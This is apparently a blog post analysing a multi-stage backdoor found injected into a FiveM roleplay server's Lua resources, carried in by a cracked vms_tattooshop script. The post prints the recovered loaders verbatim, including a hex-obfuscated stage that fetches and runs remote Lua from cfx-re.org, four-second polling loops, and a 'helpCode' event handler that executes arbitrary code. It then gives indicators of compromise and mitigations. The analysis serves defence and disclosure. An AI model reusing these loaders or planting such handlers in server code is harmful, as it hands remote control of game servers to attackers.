How a Windows Defender Alert Uncovered a Multi-Stage Backdoor Hiding in a FiveM Server
TL;DR
A friend runs a FiveM roleplay server. Windows Defender flagged something on his VPS, and he had enough of a hunch that it wasn't a false positive to ask around for help. That is how I ended up reading through his server's resource scripts line by line, and found a backdoor quietly living inside code that looked, at a glance, like every other FiveM resource on the box.
Malware Analysis
It Wasn't Its Own Resource
The first thing that made this annoying to find: the backdoor was never installed as its own resource. It was injected directly into the code of resources that were already legitimately on the server. A normal glance at the resource list turns up nothing, every folder name looks exactly like what it claims to be. You only find it by reading the actual script bodies, and even then it is written to not look like much.
As for how it got on the box in the first place: the carrier was a cracked copy of a paid script, vms_tattooshop. That fits the usual pattern, you grab what looks like a free copy of a paywalled resource, and the backdoor rides in already stitched into the code. From that first foothold it injects itself into the other resources on the server.
This is not just a guess. The vag.gg thread sharing the cracked script has the injection right there in vms_tattooshop/server/server.lua, and the replies are full of people who noticed it ("backdoor", "have a backdoor? or no?", "I assume we can just remove that right?"), one of them quoting the exact loader line. It is a simpler, un-obfuscated sibling of the staged loaders covered below:
PerformHttpRequest('https://cfx-re.org/i?to=wwWYh', function (e, d) pcall(function() assert(load(d))() end) end)Same assert(load(d))() primitive, this time wrapped in a pcall so a failed fetch stays silent, and no hex table at all. The endpoint is shorter (/i rather than /v2_/stage3.php), but the to=wwWYh token is byte-for-byte the one the obfuscated loader below carries, tying the two samples to a single campaign. A bare loader like this is plausibly the sort of first-touch stage that kicks off the staged chain below.
The Download Chain
What I could recover forms a multi-stage chain, each stage fetching and executing the next. Stage 1 and Stage 4 were never recovered, the VPS's traces of them were gone by the time I looked, but Stages 2, 3, and 3b were sitting right there in the infected scripts.
Stage 2: The Loader
Found injected straight into a resource script. Every identifier here, function names included, is hex-escaped and stashed in a local table, then looked up on _G at call time instead of being referenced directly. That single trick defeats naive static scanners that grep for PerformHttpRequest or load verbatim.
local LncYlKrmDteFDMmubKHSyETHereuBphBgPzMogAvzhQAPIkubCyixXYcqxmpRyOoVxKIKk = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} LncYlKrmDteFDMmubKHSyETHereuBphBgPzMogAvzhQAPIkubCyixXYcqxmpRyOoVxKIKk[4][LncYlKrmDteFDMmubKHSyETHereuBphBgPzMogAvzhQAPIkubCyixXYcqxmpRyOoVxKIKk[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x66\x78\x2d\x72\x65\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x77\x77\x57\x59\x68", function (fweGNtDULcJRRXyuzHsdvcQJdffLAmTOScUdgjGGzpyUkjxKwwnBBjsvKyvsWHdGtPRVgL, TIwWPXrYqFHnRxWABMGQdnAIKXbbuWXBeZFSXlgROESavVTvZgPkHSexkpfMOZIsOfJuFv) if (TIwWPXrYqFHnRxWABMGQdnAIKXbbuWXBeZFSXlgROESavVTvZgPkHSexkpfMOZIsOfJuFv == LncYlKrmDteFDMmubKHSyETHereuBphBgPzMogAvzhQAPIkubCyixXYcqxmpRyOoVxKIKk[6] or TIwWPXrYqFHnRxWABMGQdnAIKXbbuWXBeZFSXlgROESavVTvZgPkHSexkpfMOZIsOfJuFv == LncYlKrmDteFDMmubKHSyETHereuBphBgPzMogAvzhQAPIkubCyixXYcqxmpRyOoVxKIKk[5]) then return end LncYlKrmDteFDMmubKHSyETHereuBphBgPzMogAvzhQAPIkubCyixXYcqxmpRyOoVxKIKk[4][LncYlKrmDteFDMmubKHSyETHereuBphBgPzMogAvzhQAPIkubCyixXYcqxmpRyOoVxKIKk[2]](LncYlKrmDteFDMmubKHSyETHereuBphBgPzMogAvzhQAPIkubCyixXYcqxmpRyOoVxKIKk[4][LncYlKrmDteFDMmubKHSyETHereuBphBgPzMogAvzhQAPIkubCyixXYcqxmpRyOoVxKIKk[3]](TIwWPXrYqFHnRxWABMGQdnAIKXbbuWXBeZFSXlgROESavVTvZgPkHSexkpfMOZIsOfJuFv))() end)Cleaned up, it is much less impressive:
_G["PerformHttpRequest"]("https://cfx-re.org/v2_/stage3.php?to=wwWYh", function(resCode, resultData)
if (resultData == nil or resultData == "") then
return
end
_G["assert"](_G["load"](resultData))()
end)One request to stage3.php. If the response body is non-empty, it goes straight into load(), no signature, no allowlist, no check beyond "is it non-empty." Whoever controls cfx-re.org (a typosquat of the real CitizenFX domain, cfx.re) can push arbitrary Lua to every infected server on demand. No persistence at this stage, it runs once per resource load.
Stage 3: Polling, Without Stepping on Its Own Feet
Retrieved from stage3.php. Before doing anything else, it fires a randomly-named net event. FiveM dispatches that event synchronously, so if another already-running copy of the backdoor (injected into a different resource) is listening, its handler answers inline and this copy backs off and exits. Otherwise it registers itself as the one true instance. Worth naming since it recurs: Between Script Communication (BSC), injected scripts signaling each other over FiveM's own net event system. It keeps only one polling loop alive per server even if the backdoor got injected into several resources at once.
local shouldStop = nil
-- Dedup handshake: ask any already-running copy to answer
TriggerEvent("uJikMuBueKzqpNUZXDEi", function(value)
shouldStop = value
end)
if (shouldStop) then
return
end
-- No one answered, so become the responder for later copies
AddEventHandler("uJikMuBueKzqpNUZXDEi", function(cb)
cb(true)
end)
local shouldRetry = true
Citizen.CreateThread(function()
while shouldRetry do
PerformHttpRequest('https://cfx-re.org/v2_/stage3b.php?asf=UDFmb21FQ3pWak43RUpncURLVzdOcTdsZ2ZPUVdRZk1iYUMvb3dUM2RySFlIVUE1SEMvZFN4aVRPdFNXa0llSw==', function (resCode, resultData)
if(resCode == 200) then
if (resultData == nil or resultData == "") then
return
end
local myFunction = assert(load(resultData))
myFunction()
shouldRetry = false
end
end)
Citizen.Wait(4000)
end
end)Every four seconds it polls stage3b.php with an opaque, base64-wrapped asf parameter. The decoded bytes are not plaintext, almost certainly an encrypted or per-victim session token rather than anything human-readable. First HTTP 200 with a non-empty body gets executed, and the loop stops.
Stage 3b: Leaving the Next Address Lying Around
Same polling shape as Stage 3, targeting stage4.php. The interesting detail is where it stores that URL:
_G['iQlZJttXDTvEmarvYvLr'] = 'https://cfx-re.org/v2_/stage4.php?asf=RFlTallWbStPcDJtYXN2ZW5pY29kTTFxRENacnZlNnBpemQvK0tCMENLVXovYkNwdWQ4NWo2Sm56NVZIcGVHTw=='Unlike the hardcoded URLs in Stages 2 and 3, this one lives in a global, readable by any other Lua chunk running in the same environment, including a payload pushed later through the helpCode handler below, without needing to fetch or know the URL again. It also skips the dedup check Stage 3 does. Stage 3's guard means only one copy should normally get this far, but nothing here re-enforces that, so any copies that slipped past the race each run an independent Stage 3b loop. Could be an oversight, could be intentional redundancy to improve the odds that at least one copy reaches Stage 4. Stage 4 itself, presumably holding a persistent C2 connection open for live command execution, was never recovered.
The Real Primitive: assert(load(x))()
Every stage in this chain, and the channel below, ends with the same two lines: fetch a string from somewhere, hand it to Lua's built-in load() to compile it into a function, call it immediately. No sandbox, no capability restriction on what that compiled function can touch. Whoever can get a string into that call owns the server's Lua state.
A Quieter Way In
Alongside the HTTP chain, a second injected snippet registers a net event called helpCode:
_G["RegisterNetEvent"]('helpCode')
_G['AddEventHandler']('helpCode', function(code)
_G["assert"](_G["load"](code))()
end)This turns every infected resource into a generic remote-code-execution listener on the server's event bus. Once one resource is infected, anything able to trigger a server event named helpCode, another compromised resource, or the operator directly, can push Lua straight to it without repeating the noisier staged HTTP chain. It is the BSC technique again, this time used as a quiet lateral channel instead of a dedup guard.
What Else Was on the Box
Digging around the infected VPS past the resource scripts themselves, the hosts file had been rewritten to block a set of common antivirus vendor domains, presumably to keep those products from reaching their own update or cloud-lookup infrastructure. Worth noting: it did not stop Defender from flagging something in the first place, which suggests the block targets AV vendors' web infrastructure rather than whatever local or cloud-protection path Defender used to catch this.
MITRE ATT&CK Mapping
Based only on the behavior observed in the recovered stages:
T1027Obfuscated Files or Information: hex-escaped string tables and decoy locals/constants throughout every stage, to defeat static analysis and signature scanning.T1104Multi-Stage Channels: payload delivered across a chain of stages (2 → 3 → 3b → 4), each fetched only after the previous one runs successfully.T1071.001Application Layer Protocol (Web Protocols): all stage-to-stage communication happens over HTTPS viaPerformHttpRequest.T1105Ingress Tool Transfer: each stage downloads and immediately executes the next stage's code from a remote server.T1059Command and Scripting Interpreter: downloaded payloads are executed in-process viaload()/assert(), dynamically evaluated Lua rather than dropped to disk.
Indicators of Compromise
| Type | Value | Notes |
|---|---|---|
| Domain | cfx-re.org | Typosquat of the official CitizenFX domain cfx.re. Hosts Stage 2/3/3b payloads. |
| Domain | thedreamoffivem[.]com | C2 domain used by a second observed instance of this backdoor. |
| URL | cfx-re.org/i?to=wwWYh | Plaintext loader endpoint in the cracked vms_tattooshop shared on vag.gg. Same to=wwWYh campaign token as the /v2_/stage3.php stage. |
| Resource | vms_tattooshop (cracked) | Cracked copy of a paid script used as the initial carrier for the injection. |
Prevention and Mitigation
To avoid something similar on your own FiveM server:
- Only pull resources from sources you actually trust, leaked/cracked resources are the most common carrier for this kind of injection.
- Read new resource code before deploying it, especially anything that showed up as a random paste or a "free" copy of a paid script.
- Keep the server and its dependencies updated, and run it behind a firewall.
- Watch outbound traffic. A resource server having no business talking to random PHP endpoints doing so on a loop is a signal.
If you suspect you are already infected:
- Block the known IOC domains at the firewall and in the hosts file.
- Diff every resource against a known-clean copy and strip anything injected.
- Restart the server only after the malicious code is fully removed, a live process can still be holding an active C2 connection.
Takeaway
If Defender flags something on a game server VPS, do not dismiss it because "FiveM scripts always look a bit weird." Professionally obfuscated RCE code hides comfortably inside resources you already trust, especially anything leaked or cracked. The scan that matters is reading the scripts you already have, not just the ones you are about to install.